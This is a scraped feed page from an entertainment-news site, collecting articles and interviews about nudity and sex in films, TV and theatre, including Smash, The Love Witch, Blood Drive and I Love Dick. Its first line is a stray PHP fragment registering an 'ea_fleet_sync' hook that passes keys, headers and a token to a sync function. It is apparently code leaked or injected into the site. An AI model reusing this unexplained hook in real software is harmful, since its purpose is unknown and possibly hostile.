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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); nudity – Brief News https://briefnews.eu Latest World News. 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Fans of Marilyn Monroe, Broadway musicals and thinly veiled sexual baseball metaphors were given a temporary reprieve from all that is 2020 on Wednesday with a special presentation from the cast of NBC’s Smash.

People, in partnership with The Actors Fund, aired a live stream of the short-lived series’ one-night-only concert recorded in New York City on June 8, 2015 — a full two years after Smash wrapped its two-season run. Naturally, this special event was introduced by Renee Zellweger.

To sweeten the pot, 15 cast members — Katharine McPhee, Megan Hilty, Debra Messing, Christian Borle, Jack Davenport, Jeremy Jordan, Andy Mientus, Krysta Rodriguez, Leslie Odom Jr., Will Chase, Wesley Taylor, Brian d’Arcy James, Raza Jaffrey, Jaime Cepero and Ann Harada — reunited on Zoom during intermission for a conversation moderated by Difficult People‘s Julie Klausner. Again, naturally.

Here are a few nuggets we gleaned from the cast’s candid conversation:

* “The original script that I read had a lot of nudity,” McPhee recalled, referring to Smash‘s pre-NBC days; it was initially being developed during Bob Greenblatt’s days at Showtime. Added Messing, “It was sexy. It was definitely a cable show. I remember reading it and thinking, ‘This might be the best pilot script I’ve ever read. For this script, I will move to New York.’ And then we got the watered-down version, and I was like, ‘Where’s the sex?’”

* While discussing the show’s intense choreography, Davenport said he was only ever written one scene in which his character had to demonstrate dance moves for Karen. After seeing how it turned out, the producers realized that “sitting behind a desk and scowling worked better” for Derek.

* While most cast members look back on their Smash days with fondness, the same can’t be said for Cepero, who played infamous Season 1 villain Ellis. “Even today, people will see me on the street and just come up to me and tell me they hate me,” he said. “People tell me that means I did a good job.”

* Jordan admitted that the “hate-watching” aspect of the viewership was “difficult” to deal with, especially as the cast finished filming the end of Season 2. “Unfortunately, that negativity drowned out a lot of the positive stuff we did on the show.”

* Hands down, the thing Borle talks about the most from his time on Smash is “what a good kisser Leslie is.” To that, Odom replied, “I had to bring something to the table, so I brought the ability to kiss.”

How do you feel about Smash, now that we’ve (somehow) lived seven years without it? Drop a comment with your thoughts below.

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After the intense production – and release – of mother!, director Darren Aronofsky is ready to decompress for a while by catching up on some TV. In a new interview, the filmmaker revealed a list of his favorite TV shows, which include a popular HBO series where everyone dies, an animated show that people everywhere can’t shut up about, and also a series full of nudity. Read on for Darren Aronofsky’s favorite TV shows.

What does Darren Aronofsky like to do when he’s not making intense movies like Requiem for a Dream, Noah or the recent, highly underrated mind-fuck mother!? He likes to watch TV, of course. Aronofsky is now coming off a whirlwind production schedule and press tour for mother! – a psychological horror film that was met with a hostile reaction from nearly everyone who came in contact with it, as if it were less a movie and more of a radioactive piece of debris – and all he wants to do now is chillax.

In a new interview with IndieWire’s Filmmaker’s Toolkit podcast (by way of Vulture) Aronofsky says, “I just want to relax a little bit,” and his ideal way of relaxation includes catching up on some TV. So just what sort of TV does Darren Aronofsky, director and scarf enthusiast, like to unwind with? Per Aronofsky, he’d like to “catch up on Rick and Morty season three and Game of Thrones season seven. And The Deuce is coming out! Never mind Naked and Afraid XL, season three.”

That’s right, like many people, Aronofsky is a fan of Rick and Morty, the animated series that caused its fans to go absolutely insane when McDonald’s failed to stock up on Schezwan sauce. This revelation potentially makes a scene late in mother!, where a horde of crazy fans invade a house and proceed to tear it to pieces, take on a whole new meaning. Perhaps these roustabouts were simply angry Rock and Morty fans, furious over Jennifer Lawrence’s lack of Schezwan sauce in her pantry.

Game of Thrones’ inclusion here makes sense as well, since everyone watches that show (except me – sorry). I’m not quite sure what Aronofsky means by “The Deuce is coming out!”, since the first season of that show has already aired on HBO. Does he mean season 2, or has no one informed Mr. Aronofsky that The Deuce season 1 is already available? Someone tell him, ASAP.

The most surprising addition to this list is the nude-based reality show Naked and Afraid XL, in which “veteran survivalists familiar with the stripped-down drill after appearing on Naked and Afraid attempt to survive in a desolate, dangerous environment for 40 days – 19 more than they previously experienced on the show.” Sure, whatever floats your boat, Darren Aronofsky.

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]]> https://briefnews.eu/darren-aronofskys-favorite-tv-shows-include-a-popular-cartoon-and-ample-nudity/feed/ 0 Star Wars 8 in SEX SCENE shock? The Last Jedi flagged for 'racy moment’ and ‘nudity’ https://briefnews.eu/star-wars-8-in-sex-scene-shock-the-last-jedi-flagged-for-racy-moment-and-nudity/ https://briefnews.eu/star-wars-8-in-sex-scene-shock-the-last-jedi-flagged-for-racy-moment-and-nudity/#respond Wed, 29 Nov 2017 08:23:10 +0000 http://briefnews.eu/star-wars-8-in-sex-scene-shock-the-last-jedi-flagged-for-racy-moment-and-nudity/

If there’s one thing you don’t expect from one of the saga’s movies, it’s love-making. But will Episode 8 change all that?

As reported by journalist Brian Lloyd on Twitter, the film has been given an IFCO rating of 12A.

The reason? “Moderate violence and mild sex/nudity and language.”

The classification was given last week on November 21, but has only just started to generate attention online.

The official page on the IFCO website, sure enough, ticks the “Mild” box for both “Sex/Nudity” and “Language” – while the “Drugs” box is ticked “None”.

What’s important to note, however, is that Episode 7: The Force Awakens was flagged for the exact same thing.

Back in 2015, JJ Abrams’ comeback entry to the iconic Skywalker story also ticked “Mild” for “Sex/Nudity”, and – unless we’re counting droids and a nude Chewbacca – there was none to be seen.

So is it the same situation with The Last Jedi? Or has Rian Johnson made space a little bit steamier?

Whatever the answer, there’s not much longer to find out: The Last Jedi is out on December 14 in the UK.

The cast are doing swathes of interviews in the lead-up: Daisy Ridley was on Good Morning America yesterday, while Mark Hamill was on Ellen. Many more are to come.

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As witches and ghouls descend on the street of the nation for a four-day Halloween party, this movie shows that there is more than Hocus Pocus to the black arts.

The Love Witch plays on the sexpolitation style of the 1960s and 1970s and mixes naked rites with spine-chilling thrills.

And this time it is the ladies who come out on top, literally and figuratively.

No broomsticks are required for this X-rated romp into the darker side of female sexuality.

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The movie caused a stir on release earlier this year and is available now on home entertainment.

Leading lady Samantha Robinson is radiant and ravishing as her character Elaine charms and seduces the men on screen and in the audience alike. She is witty, whimsical, sexy and sinister.

The Love Witch is a lusty and lavish love letter to a bygone era of low-budget horror that titillates and terrifies in equal measure. 

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Shot on old-fashioned 35mm film with sets and costumes creating a retro collage of bright colours in soft focus, the film effortlessly conjures up warm feelings of naughty nostalgia.

However it is not just a homage to the past, The Love Witch is also bursting with sly modern commentaries on narcissism, femininity and feminism.

Behind the bejewelled curtain, Anna Biller showcased her talent as director, writer, composer and designer – juggling the roles with impressive ease, expertise and precision.

“You might say, I’m addicted to love” admits Elaine (Samantha Robinson), a young witch perhaps best described as a mid-way point between hopeless romantic and succubus.

No man is off limits for the spells conjured in her interestingly-fashioned gothic apartment, although their potency defies expectations – leaving a string of hapless, broken victims in her wake.

When she finally finds true love however, what will become of the woman who herself has driven many a man over the brink?

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Apple has been slowly easing into the world of original television programming over the past few months, hiring a couple of executives from Sony TV and setting up meetings all over town to hear pitches from content creators. But now we know a bit more about their plans, and it seems as if an early report that claimed they were on the hunt for shows like Game of Thrones and Breaking Bad was off the mark. A new report indicates that Apple doesn’t want shows with nudity, violence, or foul language, because they’re looking to appeal to the broadest possible audience.

Bloomberg spoke with a bunch of people who have been meeting with the company in recent weeks, and gleaned the following information:

Apple isn’t interested in the types of shows that become hits on HBO or Netflix, like Game of Thrones—at least not yet. The company plans to release the first few projects to everyone with an Apple device, potentially via its TV app, and top executives don’t want kids catching a stray nipple. Every show must be suitable for an Apple Store. Instead of the nudity, raw language, and violence that have become staples of many TV shows on cable or streaming services, Apple wants comedies and emotional dramas with broad appeal, such as the NBC hit This Is Us, and family shows like Amazing Stories. People pitching edgier fare, such as an eight-part program produced by Gravity filmmaker Alfonso Cuarón and starring Casey Affleck, have been told as much.

That conflicts with a piece from The Hollywood Reporter that came out less than a month ago which stated that Apple was looking at shows like Game of Thrones (full of violence, language, and nudity) and Breaking Bad (full of violence and the occasional burst of profanity) as guideposts for their first slate of original TV content. The thinking seems to be that since a lot of kids have Apple products and the plan is to release these shows directly to those devices, there needs to be barriers between adult-aimed content and children. Couldn’t they make the content password-protected? Apple’s going to have a tough time competing with rival services if it can’t keep up with them on a quality level, and it’s no surprise that most of the most-watched and most-talked-about TV shows feature one or many of the elements they’re looking to avoid.

The anthology series Amazing Stories originally aired on NBC, so Apple’s reboot of that show was likely never going to feature tons of violence or nudity, but the idea that the company is shying away from those aspects of storytelling has me a little worried about their first slate of programming. Developing content that would be right at home on a mainstream broadcast network seems like a bad idea to me; older generations aren’t nearly as tech-savvy as the younger crowd, and they’re presumably the demographic that would appreciate that sanitized storytelling.

The Bloomberg piece details how Carpool Karaoke, Apple’s first TV show, was delayed because the company demanded edits to remove cursing and “references to vaginal hygiene” so they wouldn’t upset any viewers. Producers around town have pegged the company as “conservative and picky.” That’s not exactly the reputation you’d expect the world’s biggest tech company to have, especially when people were knocking down their door to get in business with them on the verge of a potentially exciting new TV release.

What do you think? Are you worried about the upcoming slate of Apple TV shows, or do you think these are just growing pains for a company that’s edging into unfamiliar territory and that they’ll eventually embrace the type of edgier content that draws passionate fan bases?

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The BBC historical drama follows the infamous Guy Fawkes plot to blow up the Houses of Parliament in 1605, telling a different side to the gruesome tale. 

Kit Harington plays mastermind Robert Catesby, who initially recruited Thomas Wintour (played by Edward Holcroft) and Guy (Tom Cullen) to execute the abominable plan. 

However, some fans of the show’s lead actor and executive producer Kit struggled to stay on board, after witnessing a revolting scene which showed Lady Dorothy (Sian Webber) being tortured to death for harbouring a Catholic priest and his two alter servers.

After the lengthy ordeal finally ended, the show went one step further and depicted a man being hung, drawn and quartered. 

Expressing their disgust on Twitter, fans couldn’t hide their surprise at the gratuitous images of the slaughter, likening it to HBO fantasy hit Game of Thrones.

“Flippin heck Gunpowder is worse than GoT,”(sic) one person wrote.

Another conceded: “Okay fully worse than GoT #Gunpowder”

“Really is like Game of Thrones #Gunpowder,” a third agreed, as another viewer speculated: “The BBC seems to be turning the Gunpowder Plot into Peaky Blinders meets Game of Thones.”

Some fans weren’t totally convinced the series had reached the same depths of George R. R. Martin’s powerhouse adaptation, as one said: “Well #Gunpowder is brutal. Nearly Game of Thrones level deaths there mind.”

Speaking at the launch of Gunpowder however, director of the series J. Blakeman confessed that the BBC had given the green light for the shocking moment.

“We had a discussion and it was always going to be a BBC One show for a BBC audience but there was never any real resistance,” he admitted.

Gunpowder continues Saturday at 9pm on BBC One.

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Sienna miller and Daniel Radcliffe have both bared all on the stage

The latest actress to get naked is Sienna Miller who is starring in Tennessee Williams’

The play doesn’t call for nudity. The author never imagined it but we get it all the same – even from Skins actor Jack O’Connell, the co-star. I’ve no doubt the director stroked his chin and asked himself how nudity was going to help the play (not to mention the box office). He would have been deeply unhappy that one reviewer, in a moment of honesty, said that the chief reason for bothering with the evening was “seeing Sienna Miller remove her kit”. 

If that’s what the show offers, then that’s why a lot of people will go. Daniel Radcliffe starred in the 1970s play Equus a few years ago. The lad was perhaps out to dispel the Unshakeably Wholesome Curse of Harry Potter with a raunchy display of his bits. Nobody noticed much about his acting. When feminist intellectual Germaine Greer went along, she used the word “impressive” – but she wasn’t referring to his talent. 

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One of the fascinations of nudity on stage is, I would argue, experiencing its horror at arm’s length. Few of us, surely, can imagine doing it ourselves. You wait in the wings, your cue comes and it’s off with the dressing gown and on you go. To confront 1,000 faces. It’s the stuff of nightmares – especially if you are in wrinkled middle-age. 

I was amazed that so many mature actresses – including Kathleen Turner, Jerry Hall, Anne Archer and Linda Gray – agreed to appear in the buff in the stage version of The Graduate. These ladies were on a hiding to nothing. One disappointed critic said that in the dimmed light all he could see was “two fried eggs in the gloaming”. What actress wants to be compared to a greasy breakfast? 

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Former model and actress Jerry Hall as Mrs Robinson performs in The Graduate with actor Josh Cohen

The show revived memories of Nicole Kidman in her sensational London appearance in the buff. Courageously she agreed to do it in a tiny London venue where the front row was 12ft from the actors. Tickets were being re-sold for up to £1,000 each. 

It’s the stuff of nightmares – especially if you are in wrinkled middle-age

You could have heard a pin drop when the most beautiful woman in the world came on. There was poor Nicole thinking she was making a huge artistic commitment to the play by baring all. Her performance, however, was hilariously if crassly summed up as “pure theatrical Viagra” by one paper, a phrase which is all anyone remembers about the show. Iain Glen, her co-star, actually did a cartwheel in the nude and he barely – if that’s the word – got a mention. 

Nudity is often dated back wrongly to the 1968 hippy freak-out musical Hair. The show that really scandalised London was a famous revue called Oh! Calcutta! (which sounds like the English pronunciation of the French for “What a bum you’ve got”). It was a combination of cheap smut and terrible tunes. Detectives went to see it (three times – just to check) and the show was allowed to continue.

It ran for 10 years so desperate was the panting public for a good gawp. A few years later Mary Whitehouse launched a doomed, private prosecution – under the Sexual Offences Act – against the National Theatre and its 1980 play Romans In Britain, which featured the attempted rape of a hairy male Druid by said Romans. 

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Sienna Miller is starring in Tennessee Williams’ classic Cat On A Hot Tin Roof

The trial collapsed, having given everyone the giggles when a short-sighted witness claimed to have seen an offensive body part which was proven to have been a male… thumb. I once asked Mrs Whitehouse about the case and she struck me as perfectly sane. What depressed her, she said talking about our culture generally, was the relentless association of sex with violence. Surely this occasionally absurd but brave and much abused woman had a valid point. 

In Britain nudity was big business in the West End long before the Swinging Sixties. The Windmill Theatre specialised in presenting naked ladies during the war years. The story is told in the film Mrs Henderson Presents, starring Judi Dench as the theatre owner of the title. 

The rules laid down at the time were that naked women were permitted as long as they resembled antique marble statues. The girls couldn’t pout or wink and certainly never wobble. The only time anyone saw moving bits was during the Blitz when the girls ran for cover. 

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Christian Bale, playing a serial killer, is on video camera with two prostitutes discussing Phil Collins when things get hairy in American Pyscho - which News of the World called 'the most disgusting movie of the year'

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The sight of unrationed British bosoms must have been secretly considered a morale boost for British and Allied troops on leave. The show stayed on with, I am sure, the approval of Churchill who had a sense of humour about matters erotic. Once, on being told his flies were undone, he muttered: “The dead bird does not leave its nest.”

Among the backstage crew at the Windmill, incidentally, was the recently de-mobbed Kenneth More, whose job was to look through a spy hole with binoculars and check that the audience weren’t enjoying themselves too much. Dirty old men in macintoshes were located by seat number and ejected. 

But the nudity back then seems to me to have an enlightened purpose. For many of the young men, living in a more buttoned-up age, it was their only chance to see female nudity. Mrs Henderson poignantly mentions her son whom she lost in the Great War and how he may never have seen a naked girl except on a French postcard that he’d been carrying when he was killed. 

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Daniel Radcliffe in Equas

London was miles behind New York. The Ziegfeld Follies were risque, semi-naked revues that appeared on Broadway from 1907 to 1931. Featuring the most beautiful girls in America, the shows boasted delights such as The Taxicab Girls, a group of very scantily clad (for those days) young women with headlights in obvious places and signs that said “to hire”. 

The production standards, judging from the photographs that were taken of the Follies starlets, were of incredible quality. What clothes they wore, the poses and lighting amounted to a genuine celebration of the female form. 

These days the more popular theatre shows seem a lot more earthy, middle-aged and wolfwhistling. Both Calendar Girls and the hen night romp The Full Monty (women going “phwoarr!” makes a nice change) were a good laugh. 

The theatre is terribly precious about the importance of nudity, which is why the bawdy jokes of farce and kit-off musicals can seem so refreshing. Which reminds me of Spike Milligan’s joke about the Scotsman who was asked if anything was worn under his kilt? “Noo,” he replied. “It’s all in perfect working order.”

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]]> https://briefnews.eu/stars-who-dare-to-bare-a-history-of-nudity-in-theatre/feed/ 0 Blood Drive's Colin Cunningham Details the Evolution of Slink — Plus: How He Asked for (And Got) Full Frontal Nudity https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/ https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/#respond Wed, 26 Jul 2017 01:55:19 +0000 http://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/ Blood Drive‘s titular race for years had been a subversive affair sneaked to lookie-loos via closed-circuit TV. But as the gauntlet gained a following, evil overlord Heart Enterprises stepped forward with a national broadcast and (gasp/ugh) “notes.”

Julian Slink — the race’s Master of Mayhem — at first waved off the input, steadfastly “trying to retain his integrity as an artist, to come up with something of worth that is meaningful,” says portrayer Colin Cunningham. Or at least “something of worth” as pertains a contest where the cars are fueled by ill-gotten human blood. But in this Wednesday’s episode (airing at 10/9 on Syfy), Slink is pink-slipped and sent to grisly fate.

TVLine spoke with Falling Skies alum Cunningham about the serendipity that brought him and Slink together, his crafting of so vivid a characterization and the “bats–t bonkers” episode on tap for this week.

TVLINE | I didn’t follow the casting of this series at all, so as I watched the first episode, it got to a point where I was like, “Is that Colin Cunningham…?” On top of everything else, you seem leaner than your Falling Skies days.
He’s called Slink, not Chubs, so I had to drop about 12, 15 pounds, just to get that little bit of the wiriness going on, man. You needed it for a character like that. It took a little while, but it’s an incredible part. The show is freakin’ nuts, but the role is so great.

TVLINE | Series creator James Roland told that you brought something “extra” when you read for the role via Skype….
Yeah, off-camera I took a big “hit” of one of those vape cigarettes, and I walked towards the camera and it’s slowly coming out of my mouth as I speak my first lines. It was fun.

TVLINE | Were there any inspirations, real of fictional, that seeded your portrayal?
Well, Slink’s kind of an amalgamation of four of my favorite actors. There’s definitely some Gene Wilder going on there. You’ve got Tim Curry from The Rocky Horror Picture Show. And Joel Grey from Cabaret. But also, very much so, there’s a wonderful character actor by the name of Frank Nelson. He used to work with Jack Benny back in the ’40s and ’50s and his catchphrase was, “Why, yessssssss!” (Watch a “best of” reel here.) If you ever watched any reruns on TV, that was his thing. I got to bring a bit of his spirit into the whole affair.

TVLINE | Did you bring anything to Slink’s look, or was that all the show?
I’ve got to say, man, this is one of those synchronicity/serendipity kinds of gigs. What I wore for the audition, and the make-up that I did, was almost identical to what we did [on the show]. It was amazing.

TVLINE | And the top hat…?
This is the craziest story, and God strike me dead if I’m telling one word of a lie: I’m crashing at my parents’ place — my dad was away, it was just me and my mom — when I get this audition. It describes him as having a top hat, and I’m thinking, “Where the hell am I going to find a top hat??” I’m in my dad’s closet going through his clothes looking for this kind of coat, that kind of coat, when I look up on the shelf and there’s a box. I open it up and its a frickin’ top hat! I’m like, “Mommmm! Dads’ got a top hat in here!” She swears, “I’ve never seen that before in my life, I have no idea how that got in there.”

My dad later said he got it years ago for Halloween or whatever, but it was the weirdest thing, man! Dude, it still shocks me. What are the odds of anybody having a top hat in their house?! The whole show has been very much like that. When I got to Cape Town, it was almost like arriving at Devil’s Mountain in Close Encounters, like the cast and crew wasn’t hired but “called” to be there. I was carving top hats in my mashed potatoes. [Laughs] I’m still buzzing from it all — and all for a crazy show about engines that eat people!

TVLINE | What I find interesting about Slink is that he’s not in total control, he’s not some unchecked overlord. In fact, he’s got some insecurities.
Yep. Yep. I’ll tell you, it’s the absolutely most complex and most dynamic character Iv’e ever been gifted. It was like winning the lottery. It was also without a doubt the most challenging role I’ve ever had in my life, because he’s not one guy, he’s 100 guys. And those 100 guys are all different guys within a context. In front of the audience he’s the Master of Mayhem, when he’s talking to Arthur he’s a different guy, in front of Old Man Heart…..He has a relationship with history with every character he interacts with. And then he’s got his own stuff on top of it all. I’ve never worked so hard on something. The challenge was to see if I could pull off even 10 percent of what I went for. This was a no-budget production and you had to hit the bricks running, so I spent weeks working on scenes and variations of scenes….. It was the most creative thing I’ve ever done in my life.

TVLINE | What is Slink’s next play in the name of job security? They can’t kill because of the “holding deal,” and James said this week’s episode is a bit of showcase for you.
Well, they take the Blood Drive away from Slink, and he’s reduced to absolute bottom of the barrel; he becomes a janitor at Heart Enterprises. He’s got to figure out a way of getting the Blood Drive back, and it’s quite the hoot. It’s one of my favorite episodes because there is so much going on. It’s called “The Gentleman’s Agreement,” and Andrew Hall (as The Gentleman) is fantastic in it, Darren Kent (The Scholar) has an awesome storyline, there’s a monster in it…. Its’ just absolutely bats–t bonkers.

TVLINE | Burning question: the gal we glimpsed a couple weeks ago, with the doll head for a head, is she, like, one of Slink’s girlfriends…?
[Laughs] I refer to her as “the Mrs.” That was the brainchild of James Roday, who directed two of those episodes. The scene was just Slink talking to Arthur and Grace, and James said, “Miss? You over there with the baby’s head….” So she was on my arm. We tried to ring her back but it ended up getting cut or whatever.

TVLINE | And what was going on in the scene where Slink is holding a guy’s tea with his toes?
Again, that was Roday and his insanity, and the brilliant Carel Nel (as Rasher). He wanted to do the scene close up, and then pull back to reveal that Slink is in his “den,” backstage. And we thought, “What if we revealed more than that?” [After several suggestions] it became, “What if I was holding a tea cup in my toes, and Rasher had a long straw going into the tea cup while he was on his back riding a stationary bicycle?” Perfect, go with that! And then it was like, “How about I do it in a pair of tighty-whitey Fruit of  the Looms?” Perfect! That’s how crazy this show was. Creativity incarnate.

TVLINE | Was there anything that you were shocked made it in?
I was shocked, and I’m the one who suggested it. I’m the only [actor] to suggest and to get a full frontal nude shot. I do full frontal, and it’s coming up in Episode 12, “Faces of Blood Drive.” I pitched the idea to David Straiton and it totally works. We did it, we shot it and it made the cut!

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]]> https://briefnews.eu/blood-drives-colin-cunningham-details-the-evolution-of-slink-plus-how-he-asked-for-and-got-full-frontal-nudity/feed/ 0 Kevin Bacon gets real about nudity and being a male sex object: ‘It’s not the worst thing’ https://briefnews.eu/kevin-bacon-gets-real-about-nudity-and-being-a-male-sex-object-its-not-the-worst-thing/ https://briefnews.eu/kevin-bacon-gets-real-about-nudity-and-being-a-male-sex-object-its-not-the-worst-thing/#respond Fri, 12 May 2017 15:00:21 +0000 http://briefnews.eu/kevin-bacon-gets-real-about-nudity-and-being-a-male-sex-object-its-not-the-worst-thing/ kevin bacon i love dick amazonAmazon/ YouTube

Kevin Bacon doesn’t mind being the object of desire on his provocatively titled new television series, “I Love Dick.”

“Look, to be objectified at my age is not the worst thing,” Bacon, 58, told Business Insider earlier this week.

He plays the titular Dick on Amazon’s show, which premieres on Friday. Adapted from Chris Kraus’ 1997 cult feminist novel of the same name, the series from “Transparent” creator Jill Soloway follows frustrated filmmaker Chris (Kathryn Hahn), who travels with her writer husband Sylvère (Griffin Dunne) to a writing residency in Marfa, Texas. Amid a sexual dry spell with her husband, Chris becomes infatuated with Dick, an acclaimed sculptor and the residency’s benefactor.

“I thought that it was a really interesting idea,” Bacon said of Chris’ obsession with Dick. “I like the idea that this show is so female-driven, with no men in the writers’ room. And Jill Soloway talked about the idea of the female gaze as like a piece of art.”

Bacon talked to Business Insider about the new series, why he’s in love with TV, the state of the film industry, and why he’s gotten a reputation for shedding his clothes on camera.

Jethro Nededog: How do you feel about being sexually objectified for “I Love Dick”?

Kevin Bacon: I thought that was a very interesting idea. I also felt like to be able to do the show for hopefully multiple seasons and over a long period of time, we needed to have something more than just objectification. And so we talked about ways that you can see inside this man, what his experiences were, what was troubling to him, and what he was struggling with. Over the course of the show, especially toward the last few episodes, we definitely get there.

Nededog: Dick initially dismisses Chris, her talents, and her obsession with him. Is that a front for what he really feels for her?

i love dick kevin bacon kathryn hahn amazonAmazonBacon: Yeah, I think that his dismissal of her — at least my backstory — is that he’s immediately kind of taken with her. She’s a very powerful presence. And when you look at the very first scene that we meet, before he finds out she has a husband, it’s very clear that he’s attracted to her. But he has made a decision as a character, in my mind, that he’s no longer going to break up marriages. It’s something that I think this guy has done before. So when he finds out that her husband is a fellow there at the institute, he pushes away. But I think underlying the whole thing, the whole series, is his kind of undeniable attraction to her.

Nededog: The original inspiration for the Dick of the novel, British writer Dick Hebdige, has famously expressed that he’s not at all pleased about being its subject. Can you understand where he’s coming from?

Bacon: Yes, I can. At one point — in episode six or something — the Griffin Dunne character says, “Oh, come on. You love this. You gotta love it.” And Dick says, “I’ll tell you the truth: It’s humiliating.” And I think that part of what’s interesting about that is that it’s a little bit of the insight into what the female experience must be. It’s kind of like when somebody says to a woman, “Well, come on. If I tell you you look hot, how can you not like that?” And I think that there’s a statement there. When this guy says, I don’t like the way this feels.

Nededog: You have some nudity in this role and, notably, you haven’t been shy about getting naked in your movies in the past. Now that you’re at this stage in your career, how have your feelings toward being nude for a role changed?

Bacon: I think it’s become something that really goes job to job. Does it work to see something? My problem with nudity though — I did a movie called “Wild Things,” it was full-frontal nudity. And I didn’t have a problem with it, because it’s a scene getting out of the shower and it was just that kind of movie. What I did have a problem with was the fact that when I went to promote the movie — and even to this day — that’s all I talk about. So it kind of ended up being, I don’t know, just kind of boring to me as a topic of conversation. In the case of “I Love Dick,” the last scene in the pilot, I go out and I get in the water. It’s a beautiful place, a scene of kind of a baptism for the character. He’s in a way starting life over again with new ideas and change and I think it’s a really nice shot and it looks good and it makes a lot of sense for that thing. I did a little thing, I think it was for Mashable, where it was a public service announcement saying that we needed more male nudity. And the amount of people that saw it seriously blows my mind. They said, “You said it in that thing,” and it’s so clearly a joke. I mean, I’m so clearly being a smartass. It’s strange.

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Nededog: The setting of the show, Marfa, Texas, is a pretty tight-knit artist colony. Set in that kind of place, can the story still be universal?

i love dick kevin bacon amazonAmazonBacon: The story is about love, art, desire, sex, marriage. Marfa is kind of like a character on the show. And I think what Marfa gives us is a chance to see, from my standpoint, a world where a man has gone there and created a kingdom where he can be king. And now he’s a reluctant kind of ruler of that kingdom. He’s starting to have doubts about his power and about whether or not he’s comfortable in this situation. I think that it also is a place where art is extremely important to the show. And also the show is made in an artistic, arthouse kind of way. The way it’s shot, the use of film technique, the use of female filmmakers dispersed throughout the show. And I think that a cowboy persona works really well for us. I think originally the show was set in upstate New York. And when I think about that, I’m really glad they found this incredible place to make things jump.

Nededog: The show premiered at Sundance, and the reviews weren’t all positive. How do you feel about that?

Bacon: I don’t read reviews. I haven’t read reviews in 25 years.

Nededog: That’s amazing. How do you avoid them?

Bacon: Well, it’s difficult to avoid them. I mean our conversation is an example of how difficult it is. People tend to, whether you want it or not, they sort of give you the headlines. But I don’t want to see specifically, because I grew up in a tough town. And there was a street, I’d walk down that street every day. If I walked down that street and I risk that somebody was going to kick my ass, then I’m gonna stop walking down that street, you know? So that’s the way I feel about reviews. I read other people’s reviews. Sometimes I’m interested to see what people think about a project, but I just can’t put myself through that.

Nededog: People know you as a movie star, but you starred on Fox’s “The Following” and now you’re doing “I Love Dick.” What’s the appeal of TV for you?

Bacon: I think that TV is where the writers went. When the writers went to television, the actors kind of followed. I turned around a few years ago when I decided to do “The Following.” I looked at the material that I was talking to my friends about and consuming, and it was all on TV. And I said, “I want a piece of that. I wanna be a part of that.” Also my wife [Kyra Sedgwick] was having a lot of success and enjoyment on “The Closer,” which is the show that she did for a few years, a lot of years on cable. Eight years, I guess. And I saw how satisfying that was for her, so that’s where I decided to go. 

Nededog: You’re like the poster child for prolific careers. I mean, “Six Degrees of Kevin Bacon” has been a thing for over 20 years. Is there a role you still wish you could play?

Bacon: I don’t know if there’s one specific role. It’s kind of like, when I read something, I say, “Okay, this is where I go next.” There’s no time where I’m going, “I’ve never done a fireman,” or whatever the person would be. Not specifically, no. 

Nededog: Last week on “Saturday Night Live,” host Chris Pine made fun of how interchangeable he is with a bunch of other actors named Chris, like Chris Pratt, Chris Evans, and Chris Hemsworth. Over your long career, have you seen that kind of shift in the movie industry?

Bacon: I never thought about it. That’s really interesting. I don’t know. What I think is it’s partly that the industry has changed. Movies, I mean there’s been a lot written and said that studios make way fewer movies and they spend more money on them individually. There’s a lot of good work and good writing going to television. Somebody said to me once that years ago, kids stayed home and watched TV and grown-ups went to the movies. And now that’s kind of turned on its ear. Kids go to the movies and grown-ups stay home and watch interesting series or challenging or more violent or more sexually explicit ones. Just envelope-pushing content is often not in the theater. It’s at home on your TV.

Nededog: You’re well-known for taking complicated parts and indie-film roles. Would you want to do a movie franchise that may contract you for three or four films?

Bacon: Yeah, sure, of course I would. The only one I’ve ever done that’s sort of like that was “X-Men: First Class.” The part didn’t repeat, but I’d do it for sure. It’s not that I don’t like those kinds of movies when they’re good. “Guardians of the Galaxy” is fantastic. “Logan” is also a great movie. When they’re great, like anything else, you can have a comic book that works really, really well as a franchise. So, sure, I would, yeah.

kevin bacon footlooseYoutubeNededog: “Footloose” is obviously a hallmark of your career. Are you always game to do the “Footloose” dance?

Bacon: No, no, no.

Nededog: But you’re still proud of it?

Bacon: Yeah, absolutely. It changed my life in a lot of ways. I was really grateful to have it. 

Nededog: There’s something about the “Footloose” themes that remain relevant over the years.

Bacon: There always seems to be somebody on Twitter saying, “Hey, they just banned dancing — you gotta come to our town.”

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It’s hard to know what is most shocking.

The new movie has received an R-rating in the US and shows disturbing scenes of young women being tied up and beaten but also shows them taking their revenge on their abusers. Both circumstances seem to involve a lot of nudity.

However, it is probably the sight of Pamela Anderson as we have never seen before that is giving us the biggest chills.

The Baywatch queen stars alongside other major stars like Franco and Josh Duhamel in the lurid thriller set in an asylum.

The Instutute is the tale of a young woman in 19th Century Baltimore who is traumatised by the shocking loss of her parents.

She checks into the Rosewood Institute seeking help. Instead she is subjected to increasingly abusive and graphic experiments.

However, the doctors underestimate their latest victim and she soon plans her revenge which she naturally executes in a graphic and horrifying fashion.

The Institute stars Franco as one of the staff, the menacing Dr Cairn, and the Hollywood star added to his laurels by co-directing the movie with Pamela Romanowsky.

Another Pamela also pops up in a most unexpected way.

Pamela Anderson may be appearing in the Baywatch reboot later this summer, but there isn’t a red bikini in sight here.

The sex-symbol is almost unrecognisable as she stalks through her scenes here in a severe black dress and a total lack of glamour-girl make-up.

The shock plus the palpitations caused by the disturbing trailer almost left us in need of mounth-to-mouth resucitation.

Someone direct us to a nearby beach please…

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